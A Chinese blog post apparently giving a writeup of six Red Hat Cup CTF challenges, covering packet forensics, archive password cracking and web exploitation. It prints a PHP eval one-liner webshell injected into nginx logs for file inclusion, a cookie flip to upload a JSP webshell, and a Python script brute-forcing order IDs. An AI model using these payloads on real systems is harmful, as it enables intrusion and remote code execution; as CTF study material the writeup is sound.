美文网首页
红帽杯writeup

红帽杯writeup

作者: zhenx1n | 来源:发表于2018-05-09 22:29 被阅读0次

    目录

    Not Only Wireshark
    听说你们喜欢手工爆破
    这是道web题?
    simple upload
    shopping log
    biubiubiu

    Not Only Wireshark

    题目是一个数据包,拿到数据包之后,先用wireshark进行分析,一般思路是提取数据包中的文件,提取到几个图片一开始以为是隐写,官方提示用tshark,使用tshark分析数据包:
    
    tshark -r redhat.pcapng -2 http.request  //获取所有http请求包
    
    image
    分析/sqli/example2.php?name=123,这种url的参数为一堆十六进制,将其提取出来:
    
    tshark -r redhat.pcapng -2 http.request | grep '/sqli/example2.php?name=' | awk '{print $9}'
    
    image
    处理得到十六进制字符串:
    123404B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000
    
    由504B猜测可能是zip压缩包,504B0304是zip文件头的重要信息,修复zip头信息,得到:
    504B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000
    
    将其转换为二进制文件:
    xxd -p -r hex.txt bin.zip
    直接解压缩需要密码,在数据包的一个请求头中有key=?id=1128%23
    密码为?id=1128%23,解压得到flag
    https://ctf-wiki.github.io/ctf-wiki/misc/archive/zip/
    

    听说你们喜欢手工爆破

    题目的压缩包里是.iso文件,解压缩后是一堆的文本文件和一个有密码的压缩包文件,很明显使用txt文件的文件名进行爆破,先用脚本提取出所有的文件名,
    
    ```
    import os
    //得到rar目录下所有的文件名
    def Test2(rootDir):
        for lists in os.listdir(rootDir):
            path = os.path.join(rootDir, lists)
            print  "'"+ (path.replace('\\','/') + "'" +',').split('/')[1]
            if os.path.isdir(path):
                Test2(path)
    
    Test2('rar')
    ```
    
    
    
    然后用ARPR工具家在字典进行爆破,得到密码是0328fc8b43cb2ddf89ba69fa5e6dbc05。
    
    image
    里面是一个word文档,使用Advanced Office Password Recovery工具爆破得到密码5693
    
    image
    根据文件名搜索到曼彻斯特编码,里面恰好有一段编码123654AAA678876303555111AAA77611A321,直接到网上找到脚本:
    
    ```
    
    n=0x123654AAA678876303555111AAA77611A321
    flag=''
    bs='0'+bin(n)[2:]
    r=''
    
    def conv(s):
        return hex(int(s,2))[2:]
    
    for i in range(0,len(bs),2):
            if bs[i:i+2]=='01':
                r+='0'
            else:
                r+='1'
    
    for i in range(0,len(r),8):
        tmp=r[i:i+8][::-1]
        flag+=conv(tmp[:4])
        flag+=conv(tmp[4:])
    
    print flag.upper()
    ```
    
    得到flag: flag{5EFCF5F507AA5FAD77}
    

    这是道web题?

    这道题吐槽一下,不知道是在搞咩。题目下载下来是一个yun cms程序。看到别人的解题思路做的。
    
    先找到一个一句话木马,根据下面tshark提示,找到相应的数据包。78466550-3fc1-11e8-9828-32001505e920.pcapng,这个数据包中
    
    image
    找到example.php文件,文件1912K,使用binwalk分析可以看出是一个jpeg和gif文件,gif文件通过dd命令提取出来。
    
    clipboard.png my.gif
    HTML解码直接得到falg: flag{S02y4orr5}
    

    simple upload

    这道题很简单,访问服务器返回Set-Cookie: admin=0,直接修改cookie中的值,admin=1直接上传jsp一句话,菜刀连接即可
    
    image

    shopping log

    这道题逻辑很简单,增加几个http header信息,直接爆破orderid即可,验证需要进行md5爆破。直接贴上代码
    
    ```
    
    import requests
    import string
    import hashlib
    
    url = 'http://120.132.95.234/%s'
    headers = {'Host': 'www.tmvb.com', 'Accept-Language': 'ja', 'Referer': 'www.dww.com'}
    s = requests.session()
    
    //生成彩虹表
    md5_table = {}
    target = (256 ** 3) / 2
    i = 0
    
    print 'Preparing md5 rainbow table...'
    while True:
        md5_table[hashlib.md5(str(i)).hexdigest()[:6]] = str(i)
        i += 1
        if len(md5_table) >= target:
            break
        if len(md5_table) % 100000 == 0:
            print str(len(md5_table)) + ' / ' + str(target)
    print str(len(md5_table)) + ' / ' + str(target)
    
    # 9588
    for i in range(9500, 10000):
        code = ''
        while True:
            r = s.get(url % '5a560e50e61b552d34480017c7877467info.php', headers=headers)
            r.encoding = 'utf-8'
            code = r.text.split("=== '")[1].split("'")[0]
            if code in md5_table:   
                break
        payload = {'TxtTid': i, 'code': md5_table[code]}
        r = s.post(url % 'api.php?action=report', headers=headers, data=payload)
    
        r.encoding = 'utf-8'
        print 'TxtTid=%d: %s' % (i, r.text)
        if "There's no such order." not in r.text: 
            break
    ```
    
    这道题自己一开始写的爆破md5脚本,速度很慢,ctf中这种题目其实可以使用md5彩虹表的形式,以空间换时间,生成彩虹表大概需要1G,速度大大加快。
    

    biubiubiu

        这道题两种解法,一种是文件包含日志文件拿shell,第二种是ssrf+gopher协议,预期解法是第二种。
    写入一句话:
    http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/x.php<?php eval($_POST['cmd']);?> 
    http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/index.php?page=/var/log/nginx/access //文件包含
    
    image
    http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/ssrf.php
    
        直接菜刀连接,菜刀无法连接,用蚁剑连接,连接成功,读取conn.php,连接数据库,直接读取flag。
    
    image

    相关文章

      网友评论

          本文标题:红帽杯writeup

          本文链接:https://www.haomeiwen.com/subject/nkharftx.html